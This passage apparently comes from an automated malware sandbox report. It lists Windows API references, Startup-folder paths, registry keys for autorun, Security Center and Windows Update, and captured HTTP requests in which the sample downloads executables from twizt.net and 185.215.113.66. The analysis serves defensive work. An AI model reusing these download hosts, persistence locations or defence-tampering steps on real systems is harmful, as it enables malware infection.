"00000000-00002096.00000001.197842.00140000.00000004.mdmp, 00000000-00002096.00000002.199622.00140000.00000004.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp") Found reference to API "2602452204427,756,3137,,CreateProcessW,kernel32.dll,"252:54:14.133",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00006112.00000001.195057.00230000.00000004.mdmp")35:Te76,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "npp.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "CreateFileT" (Indicator: "CreateFile"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")36:T445,Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")37:T6c2,Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "43940718200624,1232,3162,,ShellExecuteA,Shell32.dll,"252:43:46.281",RX=0,PX=0" (Indicator: "ShellExecute"; Source: "00000000-00000384.00000001.198287.00310000.00000004.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "ShellExecuteA" (Indicator: "ShellExecute"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")38:T61d,Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "GetProcessHeaps" (Indicator: "GetProcessHeap"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetProcessHeaps" (Indicator: "GetProcessHeap"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp")39:T44b,Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")3a:T4ca,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp3b:T2f8c,"Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000384.00000001.198287.00310000.00000004.mdmp 00000000-00000384.00000002.199622.00310000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00000624.00000000.200735.004E0000.00000004.mdmp 00000000-00000624.00000001.202660.004E0000.00000004.mdmp 00000000-00000624.00000002.204583.004E0000.00000004.mdmp 00000000-00003140.00000000.200039.00600000.00000004.mdmp 00000000-00003140.00000001.201962.00600000.00000004.mdmp 00000000-00003140.00000002.203884.00600000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run\" in Source: 00000000-00000624.00000000.200735.00D63000.00000002.mdmp 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00002792.00000000.206062.00983000.00000002.mdmp 00000000-00003048.00000000.202034.008F3000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Microsoft\Security Center" in Source: 00000000-00000624.00000000.200735.00D63000.00000002.mdmp 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00002792.00000000.206062.00983000.00000002.mdmp 00000000-00003048.00000000.202034.008F3000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Microsoft\Security Center\Svc" in Source: 00000000-00000624.00000000.200735.00D63000.00000002.mdmp 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00002792.00000000.206062.00983000.00000002.mdmp 00000000-00003048.00000000.202034.008F3000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000624.00000001.202660.004E0000.00000004.mdmp 00000000-00000624.00000002.204583.004E0000.00000004.mdmp 00000000-00003140.00000000.200039.00600000.00000004.mdmp 00000000-00003140.00000001.201962.00600000.00000004.mdmp 00000000-00003140.00000002.203884.00600000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\wuauserv" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\BITS" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" in Source: 00000000-00001624.00000000.204056.00410000.00000002.mdmp 00000000-00003140.00000001.201962.018F0000.00000004.mdmp 00000000-00003140.00000002.203884.018F0000.00000004.mdmp "EGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003140.00000001.201962.00600000.00000004.mdmp 00000000-00003140.00000002.203884.00600000.00000004.mdmp "SOFTWARE\Classes\PROTOCOLS\Filter\application/octet-stream" in Source: 00000000-00003140.00000001.201962.00600000.00000004.mdmp 00000000-00003140.00000002.203884.00600000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001848.00000000.196725.00350000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001848.00000001.196962.00350000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Run\" in Source: 00000000-00002096.00000000.195919.00063000.00000002.mdmp "SOFTWARE\Microsoft\Security Center" in Source: 00000000-00002096.00000000.195919.00063000.00000002.mdmp "SOFTWARE\Microsoft\Security Center\Svc" in Source: 00000000-00002096.00000000.195919.00063000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002096.00000000.195919.00140000.00000004.mdmp 00000000-00002096.00000001.197842.00140000.00000004.mdmp 00000000-00002096.00000002.199622.00140000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002096.00000000.195919.00140000.00000004.mdmp 00000000-00002096.00000001.197842.00140000.00000004.mdmp 00000000-00002096.00000002.199622.00140000.00000004.mdmp "Software\Microsoft\Windows\CL" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "Software\Microsoft\Windows" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "SYSTEM\CurrentControlSet" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "SOFTWARE\Policies\Micr`" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "SOFTWARE\Policies\Microsoft\Window" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "SOFTWARE\Microsoft" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "SOFTWARE\Microsoft\Security Center" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Microsoft\Security Center\Svc" in Source: 00000000-00003624.00000000.195277.00200000.00000004.mdmp 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Classes\PROTOCOLS\Filter\application/octet-stream" in Source: 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "4-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003624.00000001.197198.00200000.00000004.mdmp 00000000-00003624.00000002.199124.00200000.00000004.mdmp 00000000-00003624.00000003.199619.00200000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run\" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\wuauserv" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\BITS" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" in Source: 00000000-00003624.00000001.197198.003B0000.00000004.mdmp 00000000-00003624.00000002.199124.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.003B0000.00000004.mdmp 00000000-00003624.00000003.199619.00410000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006112.00000000.194886.00230000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006112.00000000.194886.00230000.00000004.mdmp 00000000-00006112.00000001.195057.00230000.00000004.mdmp "-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006112.00000001.195057.00230000.00000004.mdmp3c:T44e,"2416522045.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "2416522045.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "2416522045.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "2416522045.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "3092126301.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "3092126301.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "shutdown.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "shutdown.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135]3d:T392d,"GET /newtpp.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Host: twizt.net" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:05 GMT Content-Type: application/octet-stream Content-Length: 86016 Last-Modified: Tue 23 Apr 2024 21:19:33 GMT Connection: keep-alive ETag: "662825e5-15000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /peinstall.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: twizt.net" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>300D0A0D0A....... "GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:12 GMT Content-Type: application/octet-stream Content-Length: 86272 Last-Modified: Tue 23 Apr 2024 21:15:20 GMT Connection: keep-alive ETag: "662824e8-15100" Accept-Ranges: bytes with response body ==>A84AF5C34D1E89ED25AD4F3B68ED08BA6202F53EE5717CD28A8192A864318638DCE1CD87120419EAD1C979A100A87AB606D8D2D1AD21C169E6D6737EB294F780....... "GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:13 GMT Content-Type: application/octet-stream Content-Length: 86272 Last-Modified: Tue 23 Apr 2024 21:15:20 GMT Connection: keep-alive ETag: "662824e8-15100" Accept-Ranges: bytes with response body ==>A84AF5C34D1E89ED25AD4F3B68ED08BA6202F53EE5717CD28A8192A864318638DCE1CD87120419EAD1C979A100A87AB606D8D2D1AD21C169E6D6737EB294F780....... "GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:15 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes with response body ==>4BE8231D0C9479421C1C4897497A96F6A9D037984E18A4BFCDF5CE8D004D6CF69F43EAC450F399CB6F7F29AC33C11E128E348D95A7EA7C6291621061F3ABD46A....... "GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:16 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes with response body ==>4BE8231D0C9479421C1C4897497A96F6A9D037984E18A4BFCDF5CE8D004D6CF69F43EAC450F399CB6F7F29AC33C11E128E348D95A7EA7C6291621061F3ABD46A....... "GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:18 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes with response body ==>4E47532100020000F701B2600C25583649B9342391284E72AB02062AEEB346543E3A684E474A0C3791B7A41B38A19AE0B0C4FE21204458A6826DCD5358F13BAC....... "GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:19 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes with response body ==>4E47532100020000F701B2600C25583649B9342391284E72AB02062AEEB346543E3A684E474A0C3791B7A41B38A19AE0B0C4FE21204458A6826DCD5358F13BAC....... "GET /3 HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: 185.215.113.66 Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 26 Apr 2024 00:06:21 GMT Content-Type: application/octet-stream Content-Length: 81928 